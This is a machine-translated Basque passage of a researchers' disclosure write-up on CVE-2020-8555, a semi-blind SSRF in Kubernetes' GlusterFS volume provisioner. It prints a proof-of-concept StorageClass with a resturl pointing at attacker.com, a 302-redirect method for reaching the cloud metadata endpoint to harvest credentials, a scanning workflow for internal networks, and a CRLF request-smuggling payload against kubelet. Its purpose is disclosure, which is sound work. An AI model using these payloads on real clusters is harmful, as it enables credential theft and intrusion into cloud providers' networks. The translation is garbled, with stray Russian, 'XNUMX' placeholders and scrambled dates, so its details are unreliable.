🥇Kubernetesen ahultasuna bakarrik ez denean...

Ohar. itzul.: artikulu honen egileek zehatz-mehatz hitz egiten dute nola lortu zuten ahultasuna aurkitzea CVE-2020–8555 Kubernetes-en. Hasieran oso arriskutsua ez bazirudien ere, beste faktore batzuekin batera bere kritikotasuna maximoa izan zen hodeiko hornitzaile batzuentzat. Hainbat erakundek eskuzabaltasunez saritu zituzten espezialistak egindako lana.

Nor gara gu

Kubernetesen ahultasun bat elkarrekin aurkitu duten frantziar segurtasun ikertzaile bi gara. Gure izenak Brice Augras eta Christophe Hauquiert dira, baina Bug Bounty plataforma askotan Reeverzax eta Hach bezala ezagutzen gara hurrenez hurren:

Brice Augras - Groupe Asten konpainia;
Christophe Hauquiert - Nokia-ko Kubernetes arkitektoa.

Zer gertatu da?

Artikulu hau ikerketa-proiektu arrunt bat akats-ehiztarien bizitzako abenturarik zirraragarriena izan zen ustekabean (oraingoz behintzat) partekatzeko modua da.

Seguruenik dakizuenez, akats-ehiztariek ezaugarri nabarmen batzuk dituzte:

pizzaz eta garagardoaz bizi dira;
beste guztiak lo daudenean lan egiten dute.

Ez gara arau hauen salbuespena: normalean asteburuetan elkartzen gara eta lorik gabeko gauak pirateatzen pasatzen ditugu. Baina gau horietako bat oso modu ezohikoan amaitu zen.

Hasieran, partaidetza eztabaidatzeko elkartuko ginen CTF hurrengo eguna. Kubernetes-en segurtasunari buruzko elkarrizketa batean kudeatutako zerbitzu-ingurune batean, SSRF-en ideia zaharra gogoratu genuen (Zerbitzariaren aldeko eskaera faltsutzea) eta eraso gidoi gisa erabiltzen saiatzea erabaki zuen.

Gaueko 11:XNUMXetan ikerketa egiteko eseri eta goizean goiz ohera joan ginen, oso pozik emaitzekin. Ikerketa hau dela eta, MSRC Bug Bounty programarekin topo egin genuen eta pribilegioak eskalatzeko ustiapena asmatu genuen.

Hainbat aste/hilabete pasatu ziren, eta gure ustekabeko emaitzak Azure Cloud Bug Bounty-ren historiako saririk handienetako bat lortu zuen - Kubernetes-en eskutik jaso genuenaz gain!

Gure ikerketa proiektuan oinarrituta, Kubernetes Produktuen Segurtasun Batzordeak argitaratu zuen CVE-2020–8555.

Orain aurkitutako ahultasunari buruzko informazioa ahalik eta gehien zabaldu nahiko nuke. Espero dugu aurkikuntza eskertzea eta xehetasun teknikoak infosec komunitateko beste kideekin partekatzea!

Beraz, hona hemen gure istorioa...

Testuingurua

Gertatutakoari zentzurik handiena emateko, ikus dezagun lehenik Kubernetes-ek nola funtzionatzen duen hodei kudeatutako ingurune batean.

Kubernetes kluster bat halako ingurune batean instantziatzen duzunean, kudeaketa-geruza normalean hodeiko hornitzailearen ardura da:

Kontrol-geruza hodeiko hornitzailearen perimetroan dago, eta Kubernetes nodoak bezeroaren perimetroan daude.

Bolumenak dinamikoki esleitzeko, mekanismo bat erabiltzen da kanpoko biltegiratze backend batetik dinamikoki hornitzeko eta PVCrekin alderatzeko (bolumen iraunkorren erreklamazioa, hau da, bolumen eskaera bat).

Horrela, PVCa sortu eta K8s klusterreko StorageClass-era lotu ondoren, bolumena emateko ekintza gehiago kube/hodei kontroladorearen kudeatzaileak hartzen ditu (bere izen zehatza bertsioaren araberakoa da). (Ohar. itzul.: Dagoeneko idatzi dugu CCMri buruz gehiago bere ezarpenaren adibidea erabiliz hodeiko hornitzaileetako batentzat Hemen.)

Kubernetes-ek onartzen dituen hainbat hornitzaile mota daude: gehienak barnean daude orkestratzailearen muina, beste batzuk, berriz, klusterrean leketan jartzen diren hornitzaile osagarriek kudeatzen dituzte.

Gure ikerketan, barne bolumena hornitzeko mekanismoan zentratu ginen, behean azaltzen dena:

Bolumenen horniketa dinamikoa Kubernetes hornitzaile integratua erabiliz

Laburbilduz, Kubernetes kudeatutako ingurune batean zabaltzen denean, kontroladorearen kudeatzailea hodeiko hornitzailearen ardura da, baina bolumena sortzeko eskaerak (goiko diagramako 3. zenbakia) hodeiko hornitzailearen barne-sarea uzten du. Eta hemen gauzak benetan interesgarriak bihurtzen dira!

Hacking eszenatokia

Atal honetan, goian aipatutako lan-fluxua nola aprobetxatu eta hodeiko zerbitzu hornitzailearen barne baliabideetara nola sartu ginen azalduko dugu. Ekintza jakin batzuk nola egin ditzakezun ere erakutsiko dizu, hala nola, barne kredentzialak lortzea edo pribilegioak handitzea.

Manipulazio sinple batek (kasu honetan, Service Side Request Forgery) bezeroaren ingurunetik haratago joan zen hainbat zerbitzu-hornitzaileen multzoetara kudeatutako K8en pean.

Gure ikerketan GlusterFS hornitzailean zentratu ginen. Ekintzen sekuentzia gehiago testuinguru honetan deskribatzen diren arren, Quobyte, StorageOS eta ScaleIO ahultasun bera jasan dezakete.

Bolumen dinamikoa hornitzeko mekanismoaren gehiegikeria

Biltegiratze klasearen analisian GlusterFS Golang bezeroaren iturburu-kodean dugu ohartubolumena sortzean bidalitako lehen HTTP eskaeran (3), parametroko URL pertsonalizatuaren amaieraraino resturl erantsi da /volumes.

Gehituz bide gehigarri hau kentzea erabaki genuen # parametroan resturl. Hona hemen SSRF ahultasun erdi itsu bat probatzeko erabili dugun lehen YAML konfigurazioa (erdi itsu edo erdi itsu SSRFri buruz gehiago irakur dezakezu, adibidez, Hemen - gutxi gorabehera. itzul.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Ondoren, bitarra erabili dugu Kubernetes klusterra urrunetik kudeatzeko kubectl. Normalean, hodeiko hornitzaileek (Azure, Google, AWS, etab.) erabilgarritasun honetan erabiltzeko kredentzialak lortzeko aukera ematen dute.

Horri esker, nire fitxategi “berezia” erabili ahal izan nuen. Kube-controller-manager-ek sortutako HTTP eskaera exekutatu zuen:

kubectl create -f sc-poc.yaml

Erasotzailearen ikuspuntutik erantzuna

Handik gutxira, xede-zerbitzariaren HTTP erantzun bat ere jaso ahal izan genuen - komandoen bidez describe pvc edo get events kubectl-en. Eta hain zuzen ere: Kubernetes kontrolatzaile lehenetsi hau abisuegia da bere abisu/error mezuetan...

Hona hemen esteka duen adibide bat https://www.google.frparametro gisa ezarri resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Planteamendu honetan, bezalako kontsultetara mugatu ginen HTTP POST eta ezin izan zuen erantzunaren gorputzaren edukia lortu itzulera kodea bazen 201. Hori dela eta, ikerketa osagarriak egitea erabaki genuen eta hackearen eszenatoki hau ikuspegi berriekin zabaldu genuen.

Gure ikerketaren bilakaera

# 1. agertoki aurreratua: kanpoko zerbitzari batetik 302 birbideraketa erabiltzea HTTP metodoa aldatzeko, barne datuak biltzeko modu malguagoa emateko.
2. agertoki aurreratua: automatizatu LAN eskaneatzea eta barne baliabideen aurkikuntza.
# 3. eszenatoki aurreratua: HTTP CRLF + kontrabandoa erabiltzea ("eskaera kontrabandoa") neurrira egindako HTTP eskaerak sortzeko eta kube-controller erregistroetatik ateratako datuak berreskuratzeko.

Zehaztapen Teknikoak

Ikerketak Azure Kubernetes Zerbitzua (AKS) erabili du Kubernetes 1.12 bertsioarekin Ipar Europa eskualdean.
Goian deskribatutako eszenatokiak Kubernetes-en azken bertsioetan exekutatu ziren, hirugarren eszenatokian izan ezik, izan ere Golang ≤ 1.12 bertsioarekin eraikitako Kubernetes behar zuen.
Erasotzailearen kanpoko zerbitzaria - https://attacker.com.

#1 agertoki aurreratua: HTTP POST eskaera bat GET-ra birbideratzea eta datu sentikorrak jasotzea

Jatorrizko metodoa itzultzeko erasotzailearen zerbitzariaren konfigurazioarekin hobetu zen 302 HTTP birkodeaPOST eskaera bat GET eskaera bihurtzeko (diagramako 4. urratsa):

Lehen eskaera (3) bezeroaren eskutik GlusterFS (Controller Manager), POST mota du. Pauso hauek jarraituz GET bihurtzea lortu genuen:

Parametro gisa resturl StorageClass-en adierazten da http://attacker.com/redirect.php.
endpoint https://attacker.com/redirect.php 302 HTTP egoera-kode batekin erantzuten du Kokapen goiburuarekin: http://169.254.169.254. Hau beste edozein barne baliabide izan daiteke; kasu honetan, birbideratzeko esteka adibide gisa soilik erabiltzen da.
Lehenespenez net/http liburutegia Golang-ek eskaera birbideratzen du eta POST 302 egoera-kode batekin GET bihurtzen du, eta ondorioz HTTP GET eskaera bat sortzen da xede-baliabidera.

HTTP erantzunaren gorputza irakurtzeko egin behar duzu describe PVC objektua:

kubectl describe pvc xxx

Hona hemen jaso ahal izan dugun JSON formatuan HTTP erantzun baten adibide bat:

Garai hartan aurkitutako ahultasunaren gaitasunak mugatuak ziren puntu hauengatik:

Ezin da HTTP goiburuak txertatu irteerako eskaeran.
Gorputzean parametroekin POST eskaera bat egiteko ezintasuna (erosoa da gako-balioa exekutatzen ari den etcd instantzia batetik eskatzea 2379 ataka zifratu gabeko HTTP erabiltzen bada).
Ezin izan da erantzunaren gorputzaren edukia berreskuratu egoera kodea 200 zenean eta erantzunak JSON eduki-mota ez zuenean.

# 2. eszenatoki aurreratua: sare lokala eskaneatzea

SSRF erdi itsu-metodo hau hodeiko hornitzailearen barne-sarea eskaneatzeko eta hainbat entzute-zerbitzu galdetzeko erabili zen (Metadata instantzia, Kubelet, etcd, etab.) erantzunetan oinarrituta. kube kontrolatzailea.

Lehenik eta behin, Kubernetesen osagaien entzuteko ataka estandarrak zehaztu ziren (8443, 10250, 10251, etab.), eta gero eskaneatzeko prozesua automatizatu behar izan genuen.

Baliabideak eskaneatzeko metodo hau oso zehatza dela eta eskaner klasikoekin eta SSRF tresnekin bateragarria ez dela ikusita, prozesu osoa automatizatzen duen bash script batean gure langileak sortzea erabaki genuen.

Adibidez, barne sarearen 172.16.0.0/12 barrutia azkar eskaneatzeko, 15 langile jarri ziren martxan paraleloan. Goiko IP-barrutia adibide gisa soilik hautatu da eta baliteke zure zerbitzu-hornitzaile espezifikoaren IP-barrutia aldatzea.

IP helbide bat eta ataka bat eskaneatzeko, honako hau egin behar duzu:

ezabatu azken egiaztatutako StorageClass;
kendu aurreko egiaztatutako Bolumen Iraunkorra Erreklamazioa;
aldatu IP eta Portuaren balioak sc.yaml;
Sortu StorageClass bat IP eta ataka berri batekin;
PVC berri bat sortu;
atera eskaneatze-emaitzak describe erabiliz PVCrako.

# 3. eszenatoki aurreratua: CRLF injekzioa + HTTP kontrabandoa Kubernetes klusterraren bertsio "zahar"etan

Honetaz gain hornitzaileak bezeroei K8s klusterraren bertsio zaharrak eskaintzen zizkien и kube-controller-manager-en erregistroetarako sarbidea eman zien, eragina are esanguratsuagoa bihurtu zen.

Izan ere, askoz erosoagoa da erasotzaile batek bere erabakian HTTP erantzun osoa lortzeko diseinatutako HTTP eskaerak aldatzea.

Azken egoera gauzatzeko, baldintza hauek bete behar ziren:

Erabiltzaileak kube-controller-manager erregistroetarako sarbidea izan behar du (adibidez, Azure LogInsights-en).
Kubernetes klusterrak Golang-en bertsio bat erabili behar du 1.12 baino txikiagoa.

GlusterFS Go bezeroaren eta helburuko zerbitzari faltsu baten arteko komunikazioa simulatzen zuen tokiko ingurune bat zabaldu genuen (momentuz PoC-a argitaratzeari utziko diogu).

Aurkitua izan zen zaurgarritasuna, 1.12 baino baxuagoko Golang bertsioei eragiten die eta hackerrei HTTP kontrabandoa/CRLF erasoak egiteko aukera ematen die.

Goian deskribatutako SSRF erdi-itsua konbinatuz вместе honekin, gure gustura eskaerak bidali ahal izan ditugu, goiburuak, HTTP metodoa, parametroak eta datuak ordezkatuz, gero kube-controller-manager-ek prozesatzen zituena.

Hona hemen parametro batean lan egiten duen "bait" baten adibidea resturl StorageClass, antzeko eraso-eszenatoki bat ezartzen duena:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Emaitza errore bat da eskatu gabeko erantzuna, kontroladorearen erregistroetan erregistratutako mezu bat. Lehenespenez gaituta dagoen verbositateari esker, HTTP erantzunaren mezuaren edukia ere bertan gordetzen da.

Hau izan zen gure "bait" eraginkorrena kontzeptuaren frogaren esparruan.

Ikuspegi hau erabiliz, k8s kudeatutako hainbat hornitzailetako klusterren aurkako eraso hauetako batzuk egin ahal izan ditugu: pribilegioen eskalada metadatuen instantzietan kredentzialekin, DoS masterra (zifratu gabeko) HTTP eskaeraren bidez, etcd master instantzian, etab.

efektu

Aurkitu genuen SSRF ahultasunari buruzko Kubernetes-en adierazpen ofizialean, baloratu zen CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kubernetes perimetroarekin lotutako ahultasuna bakarrik kontuan hartzen badugu, osotasun-bektorea (osotasun-bektorea) gisa kalifikatzen da Bat ere ez.

Hala ere, kudeatutako zerbitzu-ingurune baten testuinguruan izan ditzakeen ondorioak ebaluatzeak (eta hau izan zen gure ikerketaren zatirik interesgarriena!) ahultasuna kalifikazio batean birkalifikatzera bultzatu gintuen. CVSS10/10 kritikoa banatzaile askorentzat.

Jarraian, informazio gehigarria dago hodei-inguruneetan izan daitezkeen inpaktuak ebaluatzeko orduan gure gogoetak ulertzen laguntzeko:

osotasuna

Exekutatu komandoak urrunetik eskuratutako barne kredentzialak erabiliz.
Goiko eszenatokia IDOR (Insecure Direct Object Reference) metodoa erabiliz sare lokalean aurkitutako beste baliabide batzuekin erreproduzitzea.

Конфиденциальность

Eraso mota Alboko Mugimendua hodeiko kredentzialen lapurretari esker (adibidez, metadatuen APIa).
Informazioa biltzea sare lokala eskaneatuz (SSH bertsioa, HTTP zerbitzariaren bertsioa, ... zehaztea).
Bildu instantzia eta azpiegituraren informazioa barneko APIak galdezkatuz, hala nola metadatuen APIa (http://169.254.169.254, ...).
Hodeiko kredentzialak erabiliz bezeroen datuak lapurtzea.

erabilgarritasuna

Eraso-bektoreekin erlazionatutako ustiapen agertoki guztiak osotasuna, ekintza suntsitzaileetarako erabil daiteke eta bezeroaren perimetroko (edo beste edozein) instantzia nagusiak erabilgarri ez egotea ekar dezake.

Kudeatutako K8s ingurune batean geundenez eta osotasunean duen eragina ebaluatzen ari ginenez, erabilgarritasuna eragin dezaketen eszenatoki asko imajina ditzakegu. Adibide gehigarrien artean, etcd datu-basea hondatzea edo Kubernetes APIra dei kritiko bat egitea daude.

kronologia

6ko abenduaren 2019a: ahultasuna MSRC Bug Bounty-ri jakinarazi dio.
3ko urtarrilaren 2020a: hirugarren batek segurtasun arazo batekin lanean ari ginela jakinarazi zien Kuberneteseko garatzaileei. Eta SSRF barne (nukleoan) ahultasun gisa kontsideratzeko eskatu die. Ondoren, txosten orokor bat eman dugu arazoaren jatorriari buruzko xehetasun teknikoekin.
15ko urtarrilaren 2020a: Kuberneteseko garatzaileei txosten teknikoak eta orokorrak eman genizkien haiek eskatuta (HackerOne plataformaren bidez).
15ko urtarrilaren 2020a: Kuberneteseko garatzaileek jakinarazi ziguten iraganeko bertsioetarako SSRF + CRLF erdi itsu injekzioa oinarrizko ahultasuntzat hartzen dela. Berehala utzi genion beste zerbitzu hornitzaile batzuen perimetroak aztertzeari: K8s taldea orain sustraiaren kausaz ari zen.
15ko urtarrilaren 2020a: HackerOne-ren bidez jaso da MSRC saria.
16ko urtarrilaren 2020a: Kubernetes PSCk (Produktuen Segurtasun Batzordea) ahultasuna aitortu zuen eta martxoaren erdialdera arte isilpean gordetzeko eskatu zuen balizko biktima kopuru handia dela eta.
11ko otsailaren 2020: Google VRP saria jaso da.
4ko martxoaren 2020a: Kubernetes saria HackerOne bidez jaso zuen.
15ko martxoaren 2020a: Hasiera batean aurreikusitako ezaguera publikoa atzeratu zen COVID-19 egoera dela eta.
1ko ekainaren 2020a: Kubernetes + Microsoft-ek ahultasunari buruzko adierazpen bateratua.

TL; DR

Garagardoa edaten dugu eta pizza jaten dugu :)
Kubernetesen barneko ahultasun bat aurkitu genuen, horretarako asmorik ez genuen arren.
Hodei-hornitzaile ezberdinen klusterren azterketa gehigarria egin genuen eta ahultasunak eragindako kaltea areagotu ahal izan genuen hobari ikaragarri gehigarriak jasotzeko.
Artikulu honetan xehetasun tekniko asko aurkituko dituzu. Pozik egongo gara zurekin eztabaidatzeko (Twitter: @ReeverZax & @__hach_).
Era guztietako izapideak eta txostenak espero baino askoz gehiago behar izan zirela ikusi zen.

Erreferentziak

PS itzultzailetik

Irakurri ere gure blogean:

Iturria: www.habr.com

Kubernetesen ahultasunei buruz bakarrik ez denean...